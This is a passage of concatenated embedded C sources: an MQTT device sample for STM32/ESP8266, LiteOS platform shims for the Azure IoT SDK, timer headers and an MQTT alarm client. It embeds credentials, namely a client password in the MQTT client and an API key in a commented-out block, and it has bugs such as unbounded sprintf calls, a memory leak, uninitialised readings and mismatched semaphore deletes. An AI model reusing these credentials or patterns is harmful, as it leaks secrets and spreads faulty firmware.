// topics = str_split(buf, ' ', &topics_len);
// if (topics){
// int i;
// for (i = 0; *(topics + i); i++){
// printf("%s\n", *(topics + i));
// }
// printf("\n");
// }
//sprintf(topic, "%s/%s/45523/test-1", ctx->proid, ctx->apikey);
err = Mqtt_PackSubscribePkt(ctx->mqttbuf, 2, MQTT_QOS_LEVEL0, topic, num);
if(err != MQTTERR_NOERROR) {
printf("Critical bug: failed to pack the subscribe packet.\n");
return -1;
}
/*
sprintf(topic, "%s/%s/45523/test-2", ctx->proid, ctx->apikey);
err = Mqtt_AppendSubscribeTopic(ctx->mqttbuf, topic, MQTT_QOS_LEVEL1);
if (err != MQTTERR_NOERROR) {
printf("Critical bug: failed to pack the subscribe packet.\n");
return -1;
}
*/
return 0;
}
static int MqttSample_Unsubscribe(struct MqttSampleContext *ctx, char **topics, int num)
{
int err;
// char **topics;
// int topics_len = 0;
// topics = str_split(buf, ' ', &topics_len);
// printf("topic len %d\n", topics_len);
// if (topics){
// int i;
// for (i = 0; *(topics + i); i++){
// printf("%s\n", *(topics + i));
// }
// printf("\n");
// }
err = Mqtt_PackUnsubscribePkt(ctx->mqttbuf, 3, topics, num);
if(err != MQTTERR_NOERROR) {
printf("Critical bug: failed to pack the unsubscribe packet.\n");
return -1;
}
return 0;
}
int MqttSample_Savedata11(struct MqttSampleContext *ctx, int temp, int humi)
{
int err;
struct MqttExtent *ext;
uint16_t pkt_id = 1;
char json[]="{\"datastreams\":[{\"id\":\"temp\",\"datapoints\":[{\"value\":%d}]},{\"id\":\"humi\",\"datapoints\":[{\"value\":%d}]}]}";
char t_json[200];
int payload_len;
char *t_payload;
unsigned short json_len;
sprintf(t_json, json, temp, humi);
payload_len = 1 + 2 + strlen(t_json)/sizeof(char);
json_len = strlen(t_json)/sizeof(char);
t_payload = (char *)malloc(payload_len);
if(t_payload == NULL)
{
printf("<%s>: t_payload malloc error\r\n", __FUNCTION__);
return 0;
}
//type
t_payload[0] = '\x01';
//length
t_payload[1] = (json_len & 0xFF00) >> 8;
t_payload[2] = json_len & 0xFF;
//json
memcpy(t_payload+3, t_json, json_len);
if(ctx->mqttbuf->first_ext) {
return MQTTERR_INVALID_PARAMETER;
}
printf("Topic: %s\r\nPakect ID: %d\r\nQoS: %d\r\nPayload: %s\r\n",
"$dp", pkt_id, MQTT_QOS_LEVEL1, t_json);
err = Mqtt_PackPublishPkt(ctx->mqttbuf, pkt_id, "$dp", t_payload, payload_len, \
MQTT_QOS_LEVEL1, 0, 1);
free(t_payload);
if(err != MQTTERR_NOERROR) {
return err;
}
return 0;
}
static int MqttSample_Savedata(struct MqttSampleContext *ctx, int temp, int humi)
{
char opt;
int Qos=1;
int type = 1;
int i = 0;
/*-q 0/1 ----> Qos0/Qos1
-t 1/7 ----> json/float datapoint
*/
printf("Qos: %d Type: %d\r\n", Qos, type);
MqttSample_Savedata11(ctx, temp, humi); // qos=1 type=1
}
static int MqttSample_Publish(struct MqttSampleContext *ctx, int temp, int humi)
{
int err;
int topics_len = 0;
struct MqttExtent *ext;
int i=0;
char *topic = "key_press";
char *payload1= "key pressed, temp: %d, humi: %d";
char payload[100] = {0};
int pkg_id = 1;
sprintf(payload, payload1, temp, humi);
printf("<%s>: public %s : %s\r\n", __FUNCTION__, topic, payload);
/*??????????
topics = str_split(buf, ' ', &topics_len);
printf("topics_len: %d\r\n", topics_len);
if (topics){
int i;
for (i = 0; *(topics + i); i++){
printf("%s\n", *(topics + i));
}
printf("\n");
}
if(4 != topics_len){
printf("usage:push_dp topicname payload pkg_id");
return err;
}
*/
if(ctx->mqttbuf->first_ext) {
return MQTTERR_INVALID_PARAMETER;
}
/*
std::string pkg_id_s(topics+3);
int pkg_id = std::stoi(pkg_id_s);
*/
err = Mqtt_PackPublishPkt(ctx->mqttbuf, pkg_id, topic, payload, strlen(payload), MQTT_QOS_LEVEL1, 0, 1);
if(err != MQTTERR_NOERROR) {
return err;
}
return 0;
}
/* ???? */
int MqttSample_RespCmd(struct MqttSampleContext *ctx, char *resp)
{
int err;
int Qos=0;
int i = 0;
printf("QoS: %d\r\nCmdId: %s\r\n", Qos, ctx->cmdid);
if(0==Qos)
{
err = Mqtt_PackCmdRetPkt(ctx->mqttbuf, 1, ctx->cmdid,
resp, 11, MQTT_QOS_LEVEL0, 1);
}
else if(1==Qos)
{
err = Mqtt_PackCmdRetPkt(ctx->mqttbuf, 1, ctx->cmdid,
resp, 11, MQTT_QOS_LEVEL1, 1);
}
if(MQTTERR_NOERROR != err) {
printf("Critical bug: failed to pack the cmd ret packet.\n");
return -1;
}
return 0;
}
static int MqttSample_Init(struct MqttSampleContext *ctx)
{
//struct epoll_event event;
int err;
ctx->host = MQTT_HOST;
ctx->port = MQTT_PORT;
ctx->sendedbytes = -1;
ctx->devid = NULL;
ctx->cmdid[0] = '\0';
// ctx->mqttfd = -1;
/*
ctx->host = "192.168.200.218";
ctx->port = 6002;
ctx->proid = "433223";
ctx->devid = "45523";
ctx->apikey = "Bs04OCJioNgpmvjRphRak15j7Z8=";
*/
err = Mqtt_InitContext(ctx->mqttctx, 1000);
if(MQTTERR_NOERROR != err) {
printf("Failed to init MQTT context errcode is %d", err);
return -1;
}
ctx->mqttctx->read_func = MqttSample_RecvPkt;
// ctx->mqttctx->read_func_arg = (void*)(size_t)ctx->mqttfd;
// ctx->mqttctx->writev_func_arg = (void*)(size_t)ctx->mqttfd;
ctx->mqttctx->writev_func = MqttSample_SendPkt;
ctx->mqttctx->handle_conn_ack = MqttSample_HandleConnAck;
ctx->mqttctx->handle_conn_ack_arg = ctx;
ctx->mqttctx->handle_ping_resp = MqttSample_HandlePingResp;
ctx->mqttctx->handle_ping_resp_arg = ctx;
ctx->mqttctx->handle_publish = MqttSample_HandlePublish;
ctx->mqttctx->handle_publish_arg = ctx;
ctx->mqttctx->handle_pub_ack = MqttSample_HandlePubAck;
ctx->mqttctx->handle_pub_ack_arg = ctx;
ctx->mqttctx->handle_pub_rec = MqttSample_HandlePubRec;
ctx->mqttctx->handle_pub_rec_arg = ctx;
ctx->mqttctx->handle_pub_rel = MqttSample_HandlePubRel;
ctx->mqttctx->handle_pub_rel_arg = ctx;
ctx->mqttctx->handle_pub_comp = MqttSample_HandlePubComp;
ctx->mqttctx->handle_pub_comp_arg = ctx;
ctx->mqttctx->handle_sub_ack = MqttSample_HandleSubAck;
ctx->mqttctx->handle_sub_ack_arg = ctx;
ctx->mqttctx->handle_unsub_ack = MqttSample_HandleUnsubAck;
ctx->mqttctx->handle_unsub_ack_arg = ctx;
ctx->mqttctx->handle_cmd = MqttSample_HandleCmd;
ctx->mqttctx->handle_cmd_arg = ctx;
MqttBuffer_Init(ctx->mqttbuf);
// ctx->epfd = epoll_create(10);
// if(ctx->epfd < 0) {
// printf("Failed to create the epoll instance.\n");
// return -1;
// }
// if(fcntl(STDIN_FILENO, F_SETFL, O_NONBLOCK) < 0) {
// printf("Failed to set the stdin to nonblock mode, errcode is %d.\n", errno);
// return -1;
// }
// event.data.fd = STDIN_FILENO;
// event.events = EPOLLIN;
// if(epoll_ctl(ctx->epfd, EPOLL_CTL_ADD, STDIN_FILENO, &event) < 0) {
// printf("Failed to add the stdin to epoll, errcode is %d.\n", errno);
// return -1;
// }
return 0;
}
/**
* @brief ??EDP??,???????,?????????
* @attention ??UART2??ESP8266??,??????????????
* ??UART1????????,??printf?????????
* Recv_Thread_Func????????edp_sdk??????,???????
* ????????EDP??????
*/
int main(void)
{
uint16_t temp, humi; //???
uint32_t timeCount = 0;
uint32_t saveDataCount = 0, publishCount = 0;
int num = 0, err;
char buf[100];
char device_id[20] = {0};
char *topics[] = {"test_topic", "test_topic2"};
/* MQTT ?? */
struct MqttSampleContext ctx[1];
int bytes;
/* mqtt???? */
int keep_alive = 120;
int clean_session = 0;
// ctx->devid = "3264518"; //device_id
#if 1
/* MQTTcontext ??? */
if(MqttSample_Init(ctx) < 0) {
return -1;
}
init_8266:
/* 8266???
SendCmd(AT, "OK", 1000); //???????
SendCmd(CWMODE, "OK", 1000); //??????
SendCmd(CIFSR, "OK", 1000); //??????
SendCmd(CWJAP, "OK", 2000); //???????WIFI??SSID???
//LED_4_ON;
SendCmd(CIPMODE0, "OK", 1000); //???????
SendCmd(HTTP_CIPSTART, "OK", 2000); //HTTP_TCP??
USART2_Clear();
sendHttpPkt(REG_PKT_HEAD, REG_PKT_BODY);*/
mDelay(3000);
/* ??????????,????id
if(usart2_rcv_len > 0)
{
char *p = NULL, *pend = NULL;
printf("rcv response:\r\n%s\r\n", usart2_rcv_buf);
if((p=strstr(usart2_rcv_buf, "device_id")) != NULL)
{
p += strlen("device_id\":\"");
if((pend=strstr(p, "\",")) != NULL)
{
memcpy(device_id, p, pend-p);
printf("get device id: %s\r\n", device_id);
ctx->devid = device_id;
}
}
}
else if(usart2_rcv_len == 0)
{
printf("device regist over time!\r\n");
while(1);
}
else if(ctx->devid == NULL)
{
printf("device regist fail!\r\n");
while(1);
}
SendCmd(CIPCLOSE, "OK", 2000); //??TCP??
SendCmd(MQTT_CIPSTART, "OK", 2000); //MQTT_TCP??
*/ //while(1);
#endif
/****************?????******************/
USART2_Clear();
#if 1
/* mqtt?? */
MqttSample_Connect(ctx, PROD_ID, SN, ctx->devid, keep_alive, clean_session);
bytes = Mqtt_SendPkt(ctx->mqttctx, ctx->mqttbuf, 0);
MqttBuffer_Reset(ctx->mqttbuf);
mDelay(1000);
err = Mqtt_RecvPkt(ctx->mqttctx);
USART2_Clear();
/* mqtt?? */
MqttSample_Subscribe(ctx, topics, 1); //???????,?????????topic
bytes = Mqtt_SendPkt(ctx->mqttctx, ctx->mqttbuf, 0);
MqttBuffer_Reset(ctx->mqttbuf);
mDelay(1000);
#endif
while(1)
{
if(KEY2_Scan() == 0)
{
printf("key2 pressed\r\n");
LED_5_ON;
mDelay(1000);
/* ???? */
MqttSample_Publish(ctx, temp, humi);
// bytes = Mqtt_SendPkt(ctx->mqttctx, ctx->mqttbuf, 0);
// MqttBuffer_Reset(ctx->mqttbuf);
bytes = Mqtt_SendPkt(ctx->mqttctx, ctx->mqttbuf, 0);
MqttBuffer_Reset(ctx->mqttbuf);
LED_5_OFF;
}
if(KEY3_Scan() == 0)
{
printf("key3 pressed\r\n");
if(ctx->cmdid[0] != '\0') //????????
{
/* ???? */
MqttSample_RespCmd(ctx, "cmd received");
bytes = Mqtt_SendPkt(ctx->mqttctx, ctx->mqttbuf, 0);
MqttBuffer_Reset(ctx->mqttbuf);
ctx->cmdid[0] = '\0';
}
}
if(saveDataCount >= 300)
{
LED_6_ON;
saveDataCount = 0;
/* */
//SHT2x_MeasureHM(SHT20_Measurement_T_HM, &temp);
//SHT2x_MeasureHM(SHT20_Measurement_RH_HM, &humi);
printf("temp: %d, humi: %d\r\n", temp, humi);
/* ???? */
MqttSample_Savedata(ctx, temp, humi);
// bytes = Mqtt_SendPkt(ctx->mqttctx, ctx->mqttbuf, 0);
// MqttBuffer_Reset(ctx->mqttbuf);
bytes = Mqtt_SendPkt(ctx->mqttctx, ctx->mqttbuf, 0);
MqttBuffer_Reset(ctx->mqttbuf);
LED_6_OFF;
}
err = Mqtt_RecvPkt(ctx->mqttctx);
USART2_Clear();
timeCount++;
saveDataCount++;
publishCount++;
mDelay(100);
//printf(".");
}
}
/******************* (C) COPYRIGHT 2010 STMicroelectronics *****END OF FILE****/
```
platform_liteos.c
```// Copyright (c) Microsoft. All rights reserved.
// Licensed under the MIT license. See LICENSE file in the project root for full license information.
#include <stdlib.h>
#ifdef _CRTDBG_MAP_ALLOC
#include <crtdbg.h>
#endif
#include "azure_c_shared_utility/platform.h"
#include "azure_c_shared_utility/xio.h"
#include "azure_c_shared_utility/tlsio_openssl.h"
#include "azure_c_shared_utility/xlogging.h"
#include "lwip/apps/sntp.h"
//#include "lwip/apps/sntp_time.h"
#include "lwip/inet.h"
#include <time.h>
extern UINT32 LOS_MemInit(VOID *pPool, UINT32 uwSize);
#if 0
#define MEM2_MAX_SIZE (4*1024*1024)
__align(8) UINT8 mem2base[MEM2_MAX_SIZE] __attribute__((at(0xD0000000)));
#endif
#if 1
#define MEM2_MAX_SIZE (64*1024)
__align(8) UINT8 mem2base[MEM2_MAX_SIZE];
#endif
UINT32 platform_pool_init(void)
{
return LOS_MemInit(mem2base, MEM2_MAX_SIZE);
}
void *platform_malloc(UINT32 uwSize)
{
return LOS_MemAlloc(mem2base, uwSize);
}
void *platform_realloc(void *pPtr, UINT32 uwSize)
{
return LOS_MemRealloc(mem2base, pPtr, uwSize);
}
void* platform_calloc(size_t n, size_t size)
{
return platform_malloc(n * size);
}
void platform_free(void *pPtr)
{
(void) LOS_MemFree(mem2base, pPtr);
}
void platform_mem_test(void)
{
UINT8 *p=0;
p = platform_malloc(1024);
sprintf((char*)p,"Memory Malloc %f", 123.0);
printf("%s", p);
platform_free(p);
}
int platform_init(void)
{
#if 0
ip_addr_t ipaddr;
ipaddr.addr = inet_addr("120.25.108.11");
sntp_setserver(0,&ipaddr);
#endif
sntp_init();
#if 1
UINT32 ts = 0;
while(ts == 0){
(void)LOS_TaskDelay(LOS_MS2Tick(2000));
ts = get_time(0);
printf("platform_init timestamp=%lu\r\n", ts);
}
#endif
return 0;
}
const IO_INTERFACE_DESCRIPTION* platform_get_default_tlsio(void)
{
return tlsio_openssl_get_interface_description();
}
STRING_HANDLE platform_get_platform_info(void)
{
// Expected format: "(<runtime name>; <operating system name>; <platform>)"
return STRING_construct("(native; liteos; undefined)");
}
void platform_deinit(void)
{
sntp_stop();
return;
}
```
platform.h
```// Copyright (c) Microsoft. All rights reserved.
// Licensed under the MIT license. See LICENSE file in the project root for full license information.
#ifndef PLATFORM_H
#define PLATFORM_H
#include "azure_c_shared_utility/strings.h"
#include "azure_c_shared_utility/xio.h"
#include "azure_c_shared_utility/umock_c_prod.h"
#include "los_memory.h"
#ifdef __cplusplus
extern "C" {
#endif /* __cplusplus */
MOCKABLE_FUNCTION(, int, platform_init);
MOCKABLE_FUNCTION(, void, platform_deinit);
MOCKABLE_FUNCTION(, const IO_INTERFACE_DESCRIPTION*, platform_get_default_tlsio);
MOCKABLE_FUNCTION(, STRING_HANDLE, platform_get_platform_info);
UINT32 platform_pool_init(void);
void *platform_malloc(UINT32 uwSize);
void *platform_realloc(void *pPtr, UINT32 uwSize);
void platform_free(void *pPtr);
void* platform_calloc(size_t n, size_t size);
void platform_mem_test(void);
#ifdef __cplusplus
}
#endif /* __cplusplus */
#endif /* PLATFORM_H */
```
lb_type.h
```#ifndef _LB_TYPE_H_
#define _LB_TYPE_H_
typedef unsigned char INT8U; //ๆ ็ฌฆๅท8ไฝๆฐ
typedef signed char INT8S; //ๆ็ฌฆๅท8ไฝๆฐ
typedef unsigned short INT16U; //ๆ ็ฌฆๅท16ไฝๆฐ
typedef signed short INT16S; //ๆ็ฌฆๅท16ไฝๆฐ
typedef unsigned int INT32U; //ๆ็ฌฆๅท16ไฝๆฐ
typedef INT8U uchar;
typedef INT16U uint;
typedef unsigned long DWORD;
typedef int BOOL;
typedef unsigned char BYTE;
typedef unsigned short WORD;
#ifndef TRUE
#define TRUE (1==1)
#endif
#ifndef FALSE
#define FALSE (1==0)
#endif
#ifndef NULL
#define NULL (void *)0 /*็ฉบๆ้*/
#endif
#define __In_
#define __Out_
#define __Inout_
#endif
```
LB_TIMER.h
```#ifndef _LB_TIMER_H_
#define _LB_TIMER_H_
#include "lb_type.h"
#include "CriticalSeg.h"
#ifdef _LB_TIMER_C_
#define LB_TIMER_EXT
#else
#define LB_TIMER_EXT extern
#endif
#ifndef LB_TRUE
#define LB_TRUE 1
#endif
#ifndef LB_FALSE
#define LB_FALSE 0
#endif
#ifndef LB_NULL
#define LB_NULL (void *)0 /*็ฉบๆ้*/
#endif
#define XRAM /*ๅค้จRAMๅฎไน*/
#define LB_MAX_TIMER 20 //ๅฎๆถๅจๆๅคงไธชๆฐ
typedef void *TIMER_CB(void *msg); //ๅ่ฐๅฝๆฐๅฎไน
typedef struct LB_TMRCB LB_TMRCB; //ๅฎๆถๅจๆงๅถๅ็ปๆไฝ็ฑปๅๅฎไน
//ๅฎๆถๅจๆงๅถๅ็ปๆไฝ
struct LB_TMRCB{
INT16U interval; //ๆถ้ด้ด้
INT16U cnt; //่ฎกๆฐๅจ
INT8U enable; //ไฝฟ่ฝๆงๅถไฝ
INT8U ok; //ๆถ้ดๅฐๆ ่ฎฐ
TIMER_CB *fCBack; //ๅ่ฐๅฝๆฐ
TIMER_CB *fCBackInt;
void *msg;
LB_TMRCB *pNext; //้พ่กจๆ้
};
/*ๅ
ๆ ธๆฐๆฎๅ
ๅญ๏ผๅฟไฟฎๆน*/
#ifdef _LB_TIMER_C_
static XRAM LB_TMRCB LB_TMRCBTbl[LB_MAX_TIMER]; //ๅฎๆถๅจ่กจ
#endif
LB_TIMER_EXT void InitLB_TMR(void); //ๅๅงๅๅฎๆถๅจ
LB_TIMER_EXT LB_TMRCB *LB_TMRCreate(INT16U interval,INT8U enable,TIMER_CB *TMRCallBack,TIMER_CB *TMRCallBackInt,void *msg); //ๅๅปบๅฎๆถๅจ
LB_TIMER_EXT void LB_TMRTick(void); //ๅฎๆถๅจๆปดๅ
LB_TIMER_EXT void LB_ExcTMR(void); //ๆง่กๅฎๆถๅจ
LB_TIMER_EXT void SetLB_TMR(INT16U interval,LB_TMRCB *pTMRCB); //่ฎพ็ฝฎๅฎๆถๅจ้ด้
LB_TIMER_EXT void EnLB_TMR(LB_TMRCB *pTMRCB); //ไฝฟ่ฝๅฎๆถๅจ
LB_TIMER_EXT void DisLB_TMR(LB_TMRCB *pTMRCB); //็ฆๆญขๅฎๆถๅจ
LB_TIMER_EXT void ReCntLB_TMR(LB_TMRCB *pTMRCB); //้ๆฐ่ฎกๆฐ
LB_TIMER_EXT INT8U GetTimerNum(void);
#endif
```
threadapi_liteos.c
```// Copyright (c) Microsoft. All rights reserved.
// Licensed under the MIT license. See LICENSE file in the project root for full license information.
#include <stdint.h>
#include <stdlib.h>
#include "azure_c_shared_utility/threadapi.h"
#include "azure_c_shared_utility/xlogging.h"
#include "los_task.h"
DEFINE_ENUM_STRINGS(THREADAPI_RESULT, THREADAPI_RESULT_VALUES);
THREADAPI_RESULT ThreadAPI_Create(THREAD_HANDLE* threadHandle, THREAD_START_FUNC func, void* arg)
{
LogError("LiteOS does not support multi-thread function.");
return THREADAPI_ERROR;
}
THREADAPI_RESULT ThreadAPI_Join(THREAD_HANDLE threadHandle, int* res)
{
LogError("LiteOS does not support multi-thread function.");
return THREADAPI_ERROR;
}
void ThreadAPI_Exit(int res)
{
(void)LOS_TaskDelete(LOS_CurTaskIDGet());
}
void ThreadAPI_Sleep(unsigned int milliseconds)
{
(void)LOS_TaskDelay(LOS_MS2Tick(milliseconds));
}
```
iothub_mqtt_client.c
```/*********************************************Copyright (c)***********************************************
** Wuhan CCEM
**
**--------------File Info---------------------------------------------------------------------------------
** File name:
** Latest modified Date:
** Latest Version:
** Descriptions:
**
**--------------------------------------------------------------------------------------------------------
** Created by: shhuang
** Created date: 2018-05-11
** Version: V1.0
** Descriptions: The original version
**
**--------------------------------------------------------------------------------------------------------
** Modified by:
** Modified date:
** Version:
** Descriptions:
**
*********************************************************************************************************/
/********************************************************************************************************
** Includes
*********************************************************************************************************/
#include "iothub_mqtt_client.h"
#include "bsp_debug_usart.h"
#include "tcp_echoclient.h"
#include "MQTTPacket.h"
#include "transport.h"
#include "bsp_led.h"
#include "los_swtmr.ph"
#include "los_sem.h"
UINT32 g_usGetNetStatusSemID;
UINT32 g_usGetNetDataSemID;
UINT32 g_usWaitSubAckSemID;
UINT32 g_usWaitPingRspSemID;
UINT32 g_RecTopicMsgTskHandle;
UINT32 g_SubTopicTskHandle;
UINT32 g_SndMqttPingTskHandle;
UINT32 g_SndMqttAlarmTskHandle;
extern unsigned char mqtt_server_connstatus;
extern unsigned char mqtt_send_alarm_flg;
UINT32 creat_rec_mqtt_message_task(void);
UINT32 creat_mqtt_client_subtopic_task(void);
UINT32 creat_send_mqtt_ping_taask(void);
UINT32 creat_send_alarm_task(void);
#define MQTT_CLIENT_ID "tbs_n110_001"
#define KEEPALIVE_INTERVAL 60
#define MQTT_CLIENT_USER_NAME "tbs_n110/tbs_n110_001"
#define MQTT_CLIENT_PASSWORD "nu/005K89vIWmbqmP9+V4h7k2GeofYtvZF3o9JT/X8o="
#define MQTT_CLIENT_SUBTOPIC "topic02"
#define MQTT_CLIENT_PUBTOPIC "topic01"
#define BUF_SIZE 200
void transport_open(void);
void transport_close(void);
void transport_sendPacketBuffer(unsigned char* buf, int buflen);
int transport_getdata(unsigned char* buf, int count);
//connect the mqtt server
void connect_mqtt_server(void)
{
MQTTPacket_connectData data = MQTTPacket_connectData_initializer;
unsigned char buf[BUF_SIZE];
int buflen = sizeof(buf);
int len = 0;
UINT32 uwRet1;
UINT32 uwRet2;
data.clientID.cstring = MQTT_CLIENT_ID;
data.keepAliveInterval = KEEPALIVE_INTERVAL;
data.cleansession = 1;
data.username.cstring = MQTT_CLIENT_USER_NAME;
data.password.cstring = MQTT_CLIENT_PASSWORD;
clear_rec_buf();
LOS_SemCreate(0,&g_usGetNetStatusSemID);
transport_open();
uwRet1 = LOS_SemPend(g_usGetNetStatusSemID,3000);
if(uwRet1 == LOS_OK)
{
PRINTF_DBG("\r\n connect to tcp server success !!!");
len = MQTTSerialize_connect(buf, buflen, &data);
LOS_SemCreate(0,&g_usGetNetDataSemID);
transport_sendPacketBuffer(buf, len);
uwRet2 = LOS_SemPend(g_usGetNetDataSemID,3000);
if(uwRet2 == LOS_OK)
{
/* wait for connack */
if (MQTTPacket_read(buf, buflen, transport_getdata) == CONNACK)
{
unsigned char sessionPresent, connack_rc;
if (MQTTDeserialize_connack(&sessionPresent, &connack_rc, buf, buflen) != 1 || connack_rc != 0)
{
PRINTF_DBG("Unable to connect, return code %d\n", connack_rc);
goto exit;
}
LED2_ON;
mqtt_server_connstatus = 1;
PRINTF_DBG("\r\n connect to mqtt server success !!!");
clear_rec_buf();
LOS_SemDelete(g_usGetNetStatusSemID);
LOS_SemDelete(g_usGetNetDataSemID);
//receive subscribe topic message
creat_rec_mqtt_message_task();
//subscribe the toppic
creat_mqtt_client_subtopic_task();
//send ping message to mqtt server
creat_send_mqtt_ping_taask();
//send mqtt alarm to mqtt server
creat_send_alarm_task();
return ;
}
else
{
PRINTF_DBG("\r\n no receive mqtt server connack !!!");
goto exit;
}
}
if(uwRet2 == LOS_ERRNO_SEM_TIMEOUT)
{
PRINTF_DBG("\r\n connect to mqtt server timeout !!!");
exit:
clear_rec_buf();
LOS_SemDelete(g_usGetNetStatusSemID);
LOS_SemDelete(g_usGetNetStatusSemID);
transport_close();
}
}
if(uwRet1 == LOS_ERRNO_SEM_TIMEOUT)
{
PRINTF_DBG("\r\n connect to tcp server timeout !!!");
LOS_SemDelete(g_usGetNetStatusSemID);
}
}
//disconnect the mqtt server
void disconnect_mqtt_server(void)
{
unsigned char buf[BUF_SIZE];
int buflen = sizeof(buf);
int len = 0;
LOS_TaskDelete(g_RecTopicMsgTskHandle);
LOS_TaskDelete(g_SubTopicTskHandle);
LOS_TaskDelete(g_SndMqttPingTskHandle);
LOS_TaskDelete(g_SndMqttAlarmTskHandle);
len = MQTTSerialize_disconnect(buf, buflen);
transport_sendPacketBuffer(buf, len);
PRINTF_DBG("\r\n close mqtt server connect !!!");
clear_rec_buf();
transport_close();
PRINTF_DBG("\r\n close tcp server connect !!!");
LED2_OFF;
mqtt_server_connstatus = 0;
}
//send ping to mqtt server
void send_mqtt_ping_taask(void)
{
UINT32 uwRet;
unsigned char buf[BUF_SIZE];
int buflen = sizeof(buf);
int len = 0;
while(1)
{
LOS_TaskDelay((KEEPALIVE_INTERVAL)*1000);
PRINTF_DBG("\r\n start send ping to mqtt !!!");
len = MQTTSerialize_pingreq(buf, buflen);
LOS_SemCreate(0,&g_usWaitPingRspSemID);
transport_sendPacketBuffer(buf, len);
uwRet = LOS_SemPend(g_usWaitPingRspSemID,3000);
LOS_SemDelete(g_usWaitPingRspSemID);
if(uwRet == LOS_OK)
{
PRINTF_DBG("\r\n receive mqtt server ping response success!!!");
}
if(uwRet == LOS_ERRNO_SEM_TIMEOUT)
{
PRINTF_DBG("\r\n receive mqtt server ping response timeout!!!");
disconnect_mqtt_server();
}
}
}
UINT32 creat_send_mqtt_ping_taask(void)
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 0;
task_init_param.pcName = "send mqtt ping task";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)send_mqtt_ping_taask;
task_init_param.uwStackSize = 0x400;
uwRet = LOS_TaskCreate(&g_SndMqttPingTskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
//subscribe the topic02
void mqtt_client_subtopic_task(void)
{
unsigned char buf[BUF_SIZE];
int buflen = sizeof(buf);
int len = 0;
int msgid = 1;
MQTTString topicString = MQTTString_initializer;
int req_qos = 0;
UINT32 uwRet;
/* subscribe */
topicString.cstring = MQTT_CLIENT_SUBTOPIC;
PRINTF_DBG("\r\n mqtt client start subscribe the topic: %s !!!",topicString.cstring);
len = MQTTSerialize_subscribe(buf, buflen, 0, msgid, 1, &topicString, &req_qos);
LOS_SemCreate(0,&g_usWaitSubAckSemID);
transport_sendPacketBuffer(buf, len);
uwRet = LOS_SemPend(g_usWaitSubAckSemID,3000);
if(uwRet == LOS_OK)
{
PRINTF_DBG("\r\n mqtt client subscribe success !!!");
LOS_SemDelete(g_usWaitSubAckSemID);
}
if(uwRet == LOS_ERRNO_SEM_TIMEOUT)
{
PRINTF_DBG("\r\n mqtt client subscribe fail !!!");
LOS_SemDelete(g_usGetNetDataSemID);
disconnect_mqtt_server();
}
LOS_TaskDelete(g_SubTopicTskHandle);
}
UINT32 creat_mqtt_client_subtopic_task(void)
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 0;
task_init_param.pcName = "mqtt client subtopic task";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)mqtt_client_subtopic_task;
task_init_param.uwStackSize = 0x400;
uwRet = LOS_TaskCreate(&g_SubTopicTskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
//receive subscribe topic message
void rec_subscribed_topic_message(void)
{
unsigned char buf[BUF_SIZE];
int buflen = sizeof(buf);
while(1)
{
if(tcp_is_received())
{
int RetVal = MQTTPacket_read(buf, buflen, transport_getdata);
if ( RetVal== PUBLISH)
{
unsigned char dup;
int qos;
unsigned char retained;
unsigned short msgid;
int payloadlen_in;
unsigned char* payload_in;
MQTTString receivedTopic;
MQTTDeserialize_publish(&dup, &qos, &retained, &msgid, &receivedTopic,
&payload_in, &payloadlen_in, buf, buflen);
PRINTF_DBG("\r\n topic message arrived from mqtt server\n");
PRINTF_DBG("\r\n the topic name: %s\n", MQTT_CLIENT_SUBTOPIC);
PRINTF_DBG("\r\n topic message: %.*s\n", payloadlen_in, payload_in);
if(strstr((const char *)payload_in,"close the alarm"))
{
PRINTF_DBG("\r\n close the alarm");
mqtt_send_alarm_flg = 0;
}
}
if(RetVal== PINGRESP)
{
LOS_SemPost(g_usWaitPingRspSemID);
}
if(RetVal== SUBACK)
{
unsigned short submsgid;
int subcount;
int granted_qos;
MQTTDeserialize_suback(&submsgid, 1, &subcount, &granted_qos, buf, buflen);
if (granted_qos != 0)
{
PRINTF_DBG("granted qos != 0, %d\n", granted_qos);
}
else
{
LOS_SemPost(g_usWaitSubAckSemID);
}
}
clear_rec_buf();
}
}
}
UINT32 creat_rec_mqtt_message_task(void)
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 0;
task_init_param.pcName = "rec_topic_message_task";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)rec_subscribed_topic_message;
task_init_param.uwStackSize = 0x400;
uwRet = LOS_TaskCreate(&g_RecTopicMsgTskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
//publish the topic01
void mqtt_client_pubtopic(void)
{
unsigned char buf[BUF_SIZE];
int buflen = sizeof(buf);
int len = 0;
MQTTString topicString = MQTTString_initializer;
unsigned char payload[] = "send the alarm";
topicString.cstring = MQTT_CLIENT_PUBTOPIC;
len = MQTTSerialize_publish(buf, buflen, 0, 0, 0, 0, topicString, payload, sizeof(payload));
transport_sendPacketBuffer(buf, len);
PRINTF_DBG("\r\n publish the topic message");
}
void send_alarm_task(void)
{
while(1)
{
if(mqtt_send_alarm_flg)
{
if(mqtt_server_connstatus == 0)
{
PRINTF_DBG("\r\n mqtt server no connect,publish the topic message fail !!!");
}
else
{
// start send alarm message
LED4_ON;
LOS_TaskDelay(1000);
LED4_OFF;
mqtt_client_pubtopic();
}
LOS_TaskDelay(7000);
}
}
}
UINT32 creat_send_alarm_task(void)
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 0;
task_init_param.pcName = "send_alarm_task";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)send_alarm_task;
task_init_param.uwStackSize = 0x400;
uwRet = LOS_TaskCreate(&g_SndMqttAlarmTskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
/*********************************************************************************************************
END FILE
*********************************************************************************************************/
```
modbus.h
```/**
* Init USART2 for Modbus RS485
*/
#ifndef __RS485_USART_H
#define __RS485_USART_H
/** std lib */
#include "stm32f4xx.h"
#include <stdio.h>
/** USART2 HW. */
